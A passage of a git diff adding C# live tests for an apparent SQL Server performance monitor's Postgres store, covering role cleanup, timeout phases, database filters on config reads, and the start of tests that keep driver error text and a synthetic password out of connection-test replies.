+   #5602: the role re-assertion fact writes the cluster's FIXED viewer and mcp roles (CREATE ROLE, ALTER ROLE ... SET
+   statement_timeout), which every scratch database shares, so the class runs in the collection that runs alone. */
+[Collection("pg-cluster-roles")]
 public sealed class ComposeStatementTimeoutV147MigrationLiveTests
 {
     private const int RungVersion = 147;
@@ -199,13 +202,48 @@ public async Task TheRoleReassertion_SetsBothRolesTo60sAnd5000ms_ThroughPgDbRole
         var ct = TestContext.Current.CancellationToken;
 
         await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+
+        /* #5602: viewer and mcp are the cluster's FIXED roles, shared with every scratch database. The ones this fact
+           makes it drops again: left behind, they made the later classes that provision the managed roles skip
+           ("a cluster-wide admin/viewer/mcp role already exists on this rig"). A role that was already there is not
+           ours to drop. */
+        var madeRoles = new List<string>();
+        var bodySucceeded = false;
+        try
+        {
+            await ReassertAndReadBackAsync(scratch, madeRoles, ct);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                foreach (var role in madeRoles)
+                {
+                    await ExecAsync(cleanup, cleanupCt, $"DROP OWNED BY {role}; DROP ROLE IF EXISTS {role}");
+                }
+            });
+        }
+    }
+
+    private static async Task ReassertAndReadBackAsync(ScratchPostgres scratch, List<string> madeRoles, CancellationToken ct)
+    {
         await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
         {
             await connection.OpenAsync(ct);
             await PgMigrations.MigrateAsync(connection, ct);
 
-            await ExecAsync(connection, ct, "DO $$ BEGIN IF NOT EXISTS (SELECT 1 FROM pg_roles WHERE rolname = 'viewer') THEN CREATE ROLE viewer LOGIN; END IF; END $$");
-            await ExecAsync(connection, ct, "DO $$ BEGIN IF NOT EXISTS (SELECT 1 FROM pg_roles WHERE rolname = 'mcp') THEN CREATE ROLE mcp LOGIN; END IF; END $$");
+            foreach (var role in new[] { "viewer", "mcp" })
+            {
+                using var exists = new NpgsqlCommand("SELECT count(*) FROM pg_roles WHERE rolname = $1", connection);
+                exists.Parameters.AddWithValue(role);
+                if (Convert.ToInt64(await exists.ExecuteScalarAsync(ct)) == 0)
+                {
+                    await ExecAsync(connection, ct, $"CREATE ROLE {role} LOGIN");
+                    madeRoles.Add(role);
+                }
+            }
+
             /* Old shipped value, as if provisioning last ran before this build existed — the state the
                re-assertion must move forward. */
             await ExecAsync(connection, ct, "ALTER ROLE viewer SET statement_timeout = '15s'");
diff --git a/Darling/Darling.Tests/ComposeTimeoutPhaseLiveTests.cs b/Darling/Darling.Tests/ComposeTimeoutPhaseLiveTests.cs
new file mode 100644
index 0000000000..f73d4456a6
--- /dev/null
+++ b/Darling/Darling.Tests/ComposeTimeoutPhaseLiveTests.cs
@@ -0,0 +1,120 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Diagnostics;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: each fact mints its own scratch database through ScratchPostgres. */
+/// <summary>
+/// #4605 review round 2: drives both timeout phases of a compose run against a real store. The pool phase
+/// exhausts a one-connection pool so the open itself times out; the statement phase blocks the panel's table
+/// behind an ACCESS EXCLUSIVE lock so the client deadline fires inside the statement.
+/// </summary>
+[Trait("Cost", "Slow")]
+public sealed class ComposeTimeoutPhaseLiveTests
+{
+    private const string PanelJson = "{\"panel\":{\"source\":\"query_stats\",\"measure\":\"query_worker_us\",\"aggregate\":\"sum\",\"timeBucket\":\"day\",\"viz\":\"line\"}}";
+
+    private static string BaseConnectionString
+    {
+        get
+        {
+            var cs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+            Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to run the live compose timeout-phase tests.");
+            return cs!;
+        }
+    }
+
+    /// <summary>Opens the connection that fills the one-connection pool. The pool's own <c>Timeout=1</c> is the bar the
+    /// open UNDER TEST must face, but the first physical open of a data source also loads types and can take longer
+    /// than a second on a loaded machine, which failed this fixture before the exhausted open ever ran. A timed-out
+    /// open leaves the pool as it was, so only this filling open is retried, for up to a minute; the open inside
+    /// <see cref="DarlingWebEndpoints.RunComposedPanelAsync"/> keeps the one-second bar.</summary>
+    private static async Task<NpgsqlConnection> OpenHeldConnectionAsync(NpgsqlDataSource store, CancellationToken ct)
+    {
+        var giveUp = Stopwatch.StartNew();
+        while (true)
+        {
+            try
+            {
+                return await store.OpenConnectionAsync(ct);
+            }
+            catch (NpgsqlException ex) when (ex.InnerException is TimeoutException && giveUp.Elapsed < TimeSpan.FromSeconds(60))
+            {
+                /* The physical open missed the pool's one-second bar; try again. */
+            }
+        }
+    }
+
+    [Fact]
+    public async Task AnExhaustedPool_IsAStoreConnectionError_NotTheStatementTimeoutText()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString, ct);
+        await using var store = NpgsqlDataSource.Create(scratch.ConnectionString + ";Pooling=true;Maximum Pool Size=1;Timeout=1");
+        await using var held = await OpenHeldConnectionAsync(store, ct);
+
+        var outcome = await DarlingWebEndpoints.RunComposedPanelAsync(
+            store, (JsonObject)JsonNode.Parse(PanelJson)!, ct, null, DarlingWebEndpoints.ComposeClientDeadlineHeadroomSeconds, remapClientTimeout: true);
+
+        Assert.True(outcome.IsServerError, outcome.Error);
+        Assert.StartsWith("Error running query: could not get a store connection in time: ", outcome.Error, StringComparison.Ordinal);
+        Assert.Contains("connection pool has been exhausted", outcome.Error, StringComparison.Ordinal);
+        Assert.NotEqual(DarlingWebEndpoints.StatementTimeoutText, outcome.Error);
+        Assert.NotEqual("57014", outcome.AuthorSqlState);
+    }
+
+    [Fact]
+    public async Task ABlockedStatement_BecomesTheStatementTimeoutText_WhenTheClientDeadlineFires()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString, ct);
+        await using (var setup = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await setup.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(setup, ct);
+            await using var update = new NpgsqlCommand("INSERT INTO config.config_service (id, updated_at, compose_statement_timeout_seconds) VALUES (1, now() AT TIME ZONE 'UTC', 5) ON CONFLICT (id) DO UPDATE SET compose_statement_timeout_seconds = EXCLUDED.compose_statement_timeout_seconds", setup);
+            await update.ExecuteNonQueryAsync(ct);
+        }
+
+        await using var store = NpgsqlDataSource.Create(scratch.ConnectionString);
+        Assert.Equal(5, await McpCommandDeadlines.ResolveComposedQuerySecondsAsync(store, ct));
+        await using var locker = new NpgsqlConnection(scratch.ConnectionString);
+        await locker.OpenAsync(ct);
+        await using var tx = await locker.BeginTransactionAsync(ct);
+        try
+        {
+            await using (var lockCommand = new NpgsqlCommand("LOCK TABLE collect.query_stats IN ACCESS EXCLUSIVE MODE", locker, tx))
+            {
+                await lockCommand.ExecuteNonQueryAsync(ct);
+            }
+
+            var clock = Stopwatch.StartNew();
+            var outcome = await DarlingWebEndpoints.RunComposedPanelAsync(
+                store, (JsonObject)JsonNode.Parse(PanelJson)!, ct, null, DarlingWebEndpoints.ComposeClientDeadlineHeadroomSeconds, remapClientTimeout: true);
+            clock.Stop();
+
+            Assert.True(clock.Elapsed < TimeSpan.FromSeconds(60), $"The 5 s compose timeout plus headroom should bound the measure query; it took {clock.Elapsed.TotalSeconds:F1} s.");
+            Assert.Equal("57014", outcome.AuthorSqlState);
+            Assert.Equal(DarlingWebEndpoints.StatementTimeoutText, outcome.Error);
+        }
+        finally
+        {
+            await tx.RollbackAsync(CancellationToken.None);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/CompressionPhaseAssignmentTests.cs b/Darling/Darling.Tests/CompressionPhaseAssignmentTests.cs
index d5eeb86e54..570c23775c 100644
--- a/Darling/Darling.Tests/CompressionPhaseAssignmentTests.cs
+++ b/Darling/Darling.Tests/CompressionPhaseAssignmentTests.cs
@@ -243,7 +243,10 @@ public void TheGridDoesNotMove_TheAssignmentIsAPermutationOfTheSameMinutes()
         Assert.Equal(24, TimescaleSupport.CompressionPhaseMinutes.Count);
         /* #3653 (LC): back to 21 minutes now that the legacy trio froze off the refresh grid and their
            successors took the three positions instead of staying appended behind it (was 18 during Q12). */
-        Assert.Equal(21, TimescaleSupport.HeaviestRefreshWindowMinutes);
+        /* #5329: 19 now that the two io hourlies joined the phase grid as light members (14 light members, the
+           window re-derives 21 -> 19; TimescaleSupportTests pins the derivation). The band, its 24 minutes and
+           the 3-per-minute cap below are unchanged, so the assignment is still a permutation of the same minutes. */
+        Assert.Equal(19, TimescaleSupport.HeaviestRefreshWindowMinutes);
         Assert.Equal(35, TimescaleSupport.AggregateCompressionBandMinute);
         Assert.Equal(3, TimescaleSupport.CompressionPhaseMaxPerMinute);
 
diff --git a/Darling/Darling.Tests/ConfigDatabaseFilterLiveTests.cs b/Darling/Darling.Tests/ConfigDatabaseFilterLiveTests.cs
new file mode 100644
index 0000000000..d4b431cfd4
--- /dev/null
+++ b/Darling/Darling.Tests/ConfigDatabaseFilterLiveTests.cs
@@ -0,0 +1,302 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5245 (part of #5244), PR6 lane R1: the database filter on the three config reads. Each tool's internal overload takes a
+/// <see cref="DatabaseFilter"/>, so an overload call with [A, B] over a seed of A, B and C returns only A's and B's rows.
+/// get_database_config_changes filters in SQL (<c>database_config</c>) and its one-name consumer is the empty answer, which
+/// must name the databases it looked at instead of claiming the SERVER has too few captures. get_database_scoped_config and
+/// get_query_store_health keep their in-memory filter (settled item 3), made list-aware. A whitespace-only name is every
+/// database on all three (M3). The public methods still pass one name or none, so no MCP schema, dispatch or tools/list changes.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class ConfigDatabaseFilterLiveTests
+{
+    private const string ServerName = "darling-config-database-filter";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+
+    private const string A = "CfgFilterA";
+    private const string B = "CfgFilterB";
+    private const string C = "CfgFilterC";
+    // One capture only: a change needs two.
+    private const string OneCapture = "CfgFilterOneCapture";
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static JsonElement Root(string json) => JsonDocument.Parse(json).RootElement;
+
+    private static DatabaseFilter Of(params string[] names) => DatabaseFilter.Of(names);
+
+    private static List<string> ChangeDatabases(JsonElement root) =>
+        root.GetProperty("changes").EnumerateArray().Select(r => r.GetProperty("database_name").GetString()!).Distinct().OrderBy(x => x, StringComparer.Ordinal).ToList();
+
+    private static List<string> GroupDatabases(JsonElement root) =>
+        root.GetProperty("databases").EnumerateArray().Select(r => r.GetProperty("database_name").GetString()!).OrderBy(x => x, StringComparer.Ordinal).ToList();
+
+    private static Task<string> Changes(NpgsqlDataSource postgres, DatabaseFilter filter, int hoursBack = 168) =>
+        DarlingMcpConfigHistoryTools.GetDatabaseConfigChanges(postgres, ServerName, hoursBack, filter, null, null, CancellationToken.None);
+
+    [Fact]
+    public async Task TheDatabaseConfigChangesOverload_WithAListOfDatabases_ReturnsOnlyThoseDatabases_AndTheEmptyAnswerNamesThem_AgainstDevPostgres()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live database filter test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+
+            // A, B and C each changed recovery model between two captures; OneCapture has just the one.
+            foreach (var db in new[] { A, B, C })
+            {
+                await PlantDatabaseConfigAsync(connection, now.AddHours(-30), db, "FULL", ct);
+                await PlantDatabaseConfigAsync(connection, now.AddHours(-3), db, "SIMPLE", ct);
+            }
+
+            await PlantDatabaseConfigAsync(connection, now.AddHours(-3), OneCapture, "FULL", ct);
+
+            // No filter is every database; [A, B] is A and B; the order of the list does not matter.
+            Assert.Equal([A, B, C], ChangeDatabases(Root(await Changes(postgres, DatabaseFilter.All))));
+            Assert.Equal([A, B], ChangeDatabases(Root(await Changes(postgres, Of(A, B)))));
+            Assert.Equal([A, C], ChangeDatabases(Root(await Changes(postgres, Of(C, A)))));
+            Assert.Equal([B], ChangeDatabases(Root(await Changes(postgres, DatabaseFilter.One(B)))));
+
+            // #5244 PR6: the web route hands the repeated keys to the read, and the answer echoes the choice (null for all).
+            var web = await WebReadProbe.ReadAsync(postgres, ServerName, "get_database_config_changes", "168", A, B);
+            Assert.Equal([A, B], ChangeDatabases(web));
+            Assert.Equal("the chosen databases", web.GetProperty("database_name").GetString());
+            var webOne = await WebReadProbe.ReadAsync(postgres, ServerName, "get_database_config_changes", "168", C);
+            Assert.Equal([C], ChangeDatabases(webOne));
+            Assert.Equal(C, webOne.GetProperty("database_name").GetString());
+            var webAll = await WebReadProbe.ReadAsync(postgres, ServerName, "get_database_config_changes", "168");
+            Assert.Equal([A, B, C], ChangeDatabases(webAll));
+            Assert.Equal(JsonValueKind.Null, webAll.GetProperty("database_name").ValueKind);
+            // The MCP tool takes the same name; whitespace-only is null in the echo, never the raw spaces.
+            var tool = Root(await DarlingMcpConfigHistoryTools.GetDatabaseConfigChanges(postgres, ServerName, 168, null, "   "));
+            Assert.Equal([A, B, C], ChangeDatabases(tool));
+            Assert.Equal(JsonValueKind.Null, tool.GetProperty("database_name").ValueKind);
+            Assert.Equal([B], ChangeDatabases(Root(await DarlingMcpConfigHistoryTools.GetDatabaseConfigChanges(postgres, ServerName, 168, null, B))));
+
+            // M3: a blank or whitespace-only name is every database, never a literal name that matches nothing.
+            Assert.Equal([A, B, C], ChangeDatabases(Root(await Changes(postgres, DatabaseFilter.One("   ")))));
+            Assert.Equal([A, B, C], ChangeDatabases(Root(await Changes(postgres, Of("  ", "")))));
+
+            // The public method (no database parameter) is the unfiltered read, byte for byte.
+            Assert.Equal(await Changes(postgres, DatabaseFilter.All),
+                await DarlingMcpConfigHistoryTools.GetDatabaseConfigChanges(postgres, ServerName, 168));
+
+            // The empty answers are the one-name consumers. A database with one capture: the server HAS captures, so the
+            // answer must say it is the chosen database that has too few.
+            var one = Root(await Changes(postgres, DatabaseFilter.One(OneCapture)));
+            Assert.Equal("empty", one.GetProperty("status").GetString());
+            Assert.Equal(1, one.GetProperty("hints").GetProperty("snapshot_count").GetInt32());
+            Assert.Contains("for the database " + OneCapture + " on this server", one.GetProperty("message").GetString()!, StringComparison.Ordinal);
+
+            // Two names that were never captured: the plural, and no claim about the server.
+            var none = Root(await Changes(postgres, Of("CfgFilterMissingOne", "CfgFilterMissingTwo")));
+            Assert.Equal("empty", none.GetProperty("status").GetString());
+            Assert.Equal(0, none.GetProperty("hints").GetProperty("snapshot_count").GetInt32());
+            Assert.Contains("for the chosen databases on this server", none.GetProperty("message").GetString()!, StringComparison.Ordinal);
+            Assert.DoesNotContain("CfgFilterMissingOne", none.GetProperty("message").GetString()!, StringComparison.Ordinal);
+
+            // Captures exist for the chosen database but nothing changed inside the window: the sentence names the databases.
+            var quiet = Root(await Changes(postgres, Of(A, B), hoursBack: 1));
+            Assert.Equal("empty", quiet.GetProperty("status").GetString());
+            Assert.Contains("for the chosen databases.", quiet.GetProperty("message").GetString()!, StringComparison.Ordinal);
+            var quietOne = Root(await Changes(postgres, DatabaseFilter.One(A), hoursBack: 1));
+            Assert.Contains("for the database " + A + ".", quietOne.GetProperty("message").GetString()!, StringComparison.Ordinal);
+
+            // Unfiltered, the same quiet window keeps the sentence it always had.
+            var quietAll = Root(await Changes(postgres, DatabaseFilter.All, hoursBack: 1));
+            Assert.EndsWith("across the captured snapshots.", quietAll.GetProperty("message").GetString()!, StringComparison.Ordinal);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task TheScopedConfigAndQueryStoreHealthOverloads_KeepTheirInMemoryFilter_ListAware_AgainstDevPostgres()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live database filter test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var captured = DarlingMcpTestData.Naive(DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow).AddMinutes(-20));
+
+            foreach (var db in new[] { A, B, C })
+            {
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO database_scoped_config (config_id, capture_time, server_id, server_name, database_name, configuration_name, value, value_for_secondary)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8)",
+                    CollectionIdGenerator.Next(), captured, ServerId, ServerName, db, "MAXDOP", "8", null);
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO query_store_health (config_id, capture_time, server_id, server_name, database_name, actual_state, desired_state, readonly_reason, current_storage_size_mb, max_storage_size_mb, size_based_cleanup_mode, stale_query_threshold_days, max_plans_per_query, interval_length_minutes, query_capture_mode, wait_stats_capture_mode)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16)",
+                    CollectionIdGenerator.Next(), captured, ServerId, ServerName, db, "READ_WRITE", "READ_WRITE", 0, 100L, 1000L, "AUTO", 30L, 200L, 60L, "AUTO", "ON");
+            }
+
+            Task<string> Scoped(DatabaseFilter f) =>
+                DarlingMcpConfigHistoryTools.GetDatabaseScopedConfig(postgres, ServerName, f, CancellationToken.None);
+            Task<string> Health(DatabaseFilter f) =>
+                DarlingMcpConfigHistoryTools.GetQueryStoreHealth(postgres, ServerName, f, CancellationToken.None);
+
+            // #5244 PR6: the web route hands the repeated keys to both reads.
+            foreach (var webRead in new[] { "get_database_scoped_config", "get_query_store_health" })
+            {
+                Assert.Equal([A, B], GroupDatabases(await WebReadProbe.ReadAsync(postgres, ServerName, webRead, "24", A, B)));
+                Assert.Equal([B], GroupDatabases(await WebReadProbe.ReadAsync(postgres, ServerName, webRead, "24", B)));
+                Assert.Equal([A, B, C], GroupDatabases(await WebReadProbe.ReadAsync(postgres, ServerName, webRead, "24")));
+            }
+
+            foreach (var read in new Func<DatabaseFilter, Task<string>>[] { Scoped, Health })
+            {
+                Assert.Equal([A, B, C], GroupDatabases(Root(await read(DatabaseFilter.All))));
+                Assert.Equal([A, B], GroupDatabases(Root(await read(Of(A, B)))));
+                Assert.Equal([A, C], GroupDatabases(Root(await read(Of(C, A)))));
+                Assert.Equal([B], GroupDatabases(Root(await read(DatabaseFilter.One(B)))));
+
+                // The match stays case-insensitive, as the one-name filter always was.
+                Assert.Equal([A, B], GroupDatabases(Root(await read(Of(A.ToLowerInvariant(), B.ToUpperInvariant())))));
+
+                // M3: whitespace-only is every database.
+                Assert.Equal([A, B, C], GroupDatabases(Root(await read(DatabaseFilter.One("   ")))));
+
+                // Names that match nothing keep the answer they always gave: a data answer with no databases.
+                var none = Root(await read(Of("CfgFilterMissingOne", "CfgFilterMissingTwo")));
+                Assert.Equal(0, none.GetProperty("database_count").GetInt32());
+            }
+
+            // The public methods are the one-name reads: a name, nothing, and whitespace.
+            Assert.Equal(await Scoped(DatabaseFilter.One(B)), await DarlingMcpConfigHistoryTools.GetDatabaseScopedConfig(postgres, ServerName, B));
+            Assert.Equal(await Scoped(DatabaseFilter.All), await DarlingMcpConfigHistoryTools.GetDatabaseScopedConfig(postgres, ServerName, "  "));
+            Assert.Equal(await Health(DatabaseFilter.One(B)), await DarlingMcpConfigHistoryTools.GetQueryStoreHealth(postgres, ServerName, B));
+            Assert.Equal(await Health(DatabaseFilter.All), await DarlingMcpConfigHistoryTools.GetQueryStoreHealth(postgres, ServerName, "  "));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>With no rows in the store the unavailable answer is the server's, whatever the filter: a store with no
+    /// scoped-config or Query Store rows must not read as "no such database".</summary>
+    [Fact]
+    public async Task AnEmptyStore_AnswersUnavailableForTheServer_WhateverTheFilter_AgainstDevPostgres()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live database filter test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+
+            foreach (var filter in new[] { DatabaseFilter.All, DatabaseFilter.One(A), Of(A, B) })
+            {
+                var scoped = Root(await DarlingMcpConfigHistoryTools.GetDatabaseScopedConfig(postgres, ServerName, filter, CancellationToken.None));
+                var health = Root(await DarlingMcpConfigHistoryTools.GetQueryStoreHealth(postgres, ServerName, filter, CancellationToken.None));
+                Assert.Equal(scoped.GetProperty("status").GetString(), health.GetProperty("status").GetString());
+                Assert.DoesNotContain(A, scoped.GetProperty("message").GetString()!, StringComparison.Ordinal);
+                Assert.DoesNotContain(A, health.GetProperty("message").GetString()!, StringComparison.Ordinal);
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>One wide sys.databases capture row: the collector's shape with the recovery model set and the rest at
+    /// plausible defaults, so only recovery_model moves between captures.</summary>
+    private static async Task PlantDatabaseConfigAsync(
+        NpgsqlConnection connection, DateTime captureTime, string databaseName, string recoveryModel, CancellationToken ct) =>
+        await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO database_config
+    (config_id, capture_time, server_id, server_name, database_name,
+     state_desc, compatibility_level, collation_name, recovery_model, is_read_only,
+     is_auto_close_on, is_auto_shrink_on, is_auto_create_stats_on, is_auto_update_stats_on,
+     is_auto_update_stats_async_on, is_read_committed_snapshot_on, snapshot_isolation_state,
+     is_parameterization_forced, is_query_store_on, is_encrypted, is_trustworthy_on, is_db_chaining_on,
+     is_broker_enabled, is_cdc_enabled, is_mixed_page_allocation_on, log_reuse_wait_desc, page_verify_option,
+     target_recovery_time_seconds, delayed_durability, is_accelerated_database_recovery_on,
+     is_memory_optimized_enabled, is_optimized_locking_on)
+VALUES ($1, $2, $3, $4, $5,
+        'ONLINE', 160, 'SQL_Latin1_General_CP1_CI_AS', $6, FALSE,
+        FALSE, FALSE, TRUE, TRUE,
+        FALSE, TRUE, 'OFF',
+        FALSE, TRUE, FALSE, FALSE, FALSE,
+        FALSE, FALSE, FALSE, 'NOTHING', 'CHECKSUM',
+        60, 'DISABLED', FALSE,
+        FALSE, FALSE)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(captureTime), ServerId, ServerName, databaseName, recoveryModel);
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        using var cleanup = new NpgsqlCommand(
+            $"DELETE FROM database_config WHERE server_id = {ServerId}; " +
+            $"DELETE FROM database_scoped_config WHERE server_id = {ServerId}; " +
+            $"DELETE FROM query_store_health WHERE server_id = {ServerId}; " +
+            $"DELETE FROM servers WHERE server_id = {ServerId};", connection);
+        await cleanup.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/ConnectionTestReplyTests.cs b/Darling/Darling.Tests/ConnectionTestReplyTests.cs
new file mode 100644
index 0000000000..dc7b2a9dfe
--- /dev/null
+++ b/Darling/Darling.Tests/ConnectionTestReplyTests.cs
@@ -0,0 +1,301 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net.Http;
+using System.Text;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Hosting;
+using Microsoft.AspNetCore.TestHost;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Hosting;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+using Core = PerformanceMonitor.Darling.Service.Mcp.DarlingMcpServerAdminTools;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// A failed connection test answers an MCP or web client with one fixed sentence that names the host and port the
+/// caller sent and carries nothing the driver said; the driver's text goes to the service log only, with the typed
+/// password removed. The probe is a stand-in that fails with a distinctive message, so a test sees whether that
+/// message reaches the reply (it must not) and the log (it must).
+///
+/// <para>Callers of the probe's error text, and what each now does: the add and edit cores (the MCP
+/// <c>add_servers</c> / <c>edit_server</c> tools and the web <c>POST /api/servers</c> / <c>PATCH /api/servers/{id}</c>
+/// routes, which hand the body to those cores) give the fixed sentence; the <c>--add-server</c> verb, typed at the
+/// service host's own command line, and the <c>--test-connection</c> verb and the <c>test_connect</c> command the
+/// desktop viewer sends keep the driver's text, because their reader is the person administering the service.</para>
+/// </summary>
+[Collection("darling-owned-secrets")]
+public sealed class ConnectionTestReplyTests : IDisposable
+{
+    private const string DriverText = "Distinctive-Driver-Text: login failed for user 'svc_probe' from 10.9.8.7 (certificate CN=hidden-name)";
+    private const string Password = "Synth-Reply-Pw-1";
+
+    private readonly DarlingOwnedSet _ownedBefore = DarlingOwnedSecrets.Current;
+
+    public ConnectionTestReplyTests() => DarlingOwnedSecrets.Set(DarlingOwnedSet.Empty);
+
+    public void Dispose() => DarlingOwnedSecrets.Set(_ownedBefore);
+
+    private static readonly DateTime Stamp = new(2026, 10, 5, 12, 0, 0, 123, DateTimeKind.Unspecified);
+
+    private static readonly Core.ServerProbe Failing = (_, _) => Task.FromResult(
+        new ConnectionProbeResult(false, 0, 0, null, false, false, false, false, DriverText + " password=" + Password));
+
+    private static string AddBody() =>
+        JsonSerializer.Serialize(new[] { new { host = "sql-test-01", port = 1444, auth = "SQL", username = "monitor", password = Password } });
+
+    private sealed class EmptyDefinitions : Core.IServerDefinitions
+    {
+        public Task<List<string>> LoadStorageKeysAsync(CancellationToken cancellationToken) => Task.FromResult(new List<string>());
+
+        public Task<string?> ReadStorageKeyAsync(int serverId, CancellationToken cancellationToken) => Task.FromResult<string?>(null);
+
+        public Task<int> InsertAsync(Core.ParsedServerEntry entry, string? encryptedPassword, string? actualStorageKey, CancellationToken cancellationToken) =>
+            throw new InvalidOperationException("a server that could not be reached must not be written");
+    }
+
+    private sealed class OneRowStore : Core.IServerEditStore
+    {
+        public Core.ServerEditRow Row { get; } = new(
+            ServerId: 41, Name: "alpha-01", Host: "alpha-01.example.test", Port: 0, Database: null, ReadOnlyIntent: false, Engine: "sqlserver",
+            Auth: "sql", Username: "monitor", EncryptMode: "Mandatory", TrustServerCertificate: false,
+            MultiSubnetFailover: false, MonthlyCostUsd: 10m, ModifiedAt: Stamp.AddTicks(7));
+
+        public Task<Core.ServerEditRow?> ReadRowAsync(int serverId, CancellationToken cancellationToken) => Task.FromResult<Core.ServerEditRow?>(Row);
+
+        public Task<List<string>> LoadOtherStorageKeysAsync(int serverId, CancellationToken cancellationToken) => Task.FromResult(new List<string>());
+
+        public Task<Core.ServerEditWrite> WriteAsync(
+            int serverId, DateTime expectedModifiedAt, IReadOnlyList<Core.EditColumnValue> sets, string? newStorageKey, string? actualStorageKey, CancellationToken cancellationToken) =>
+            throw new InvalidOperationException("a server that could not be reached must not be saved");
+    }
+
+    private sealed class CapturingLogger : ILogger
+    {
+        public List<string> Lines { get; } = [];
+
+        public IDisposable? BeginScope<TState>(TState state) where TState : notnull => null;
+
+        public bool IsEnabled(LogLevel logLevel) => true;
+
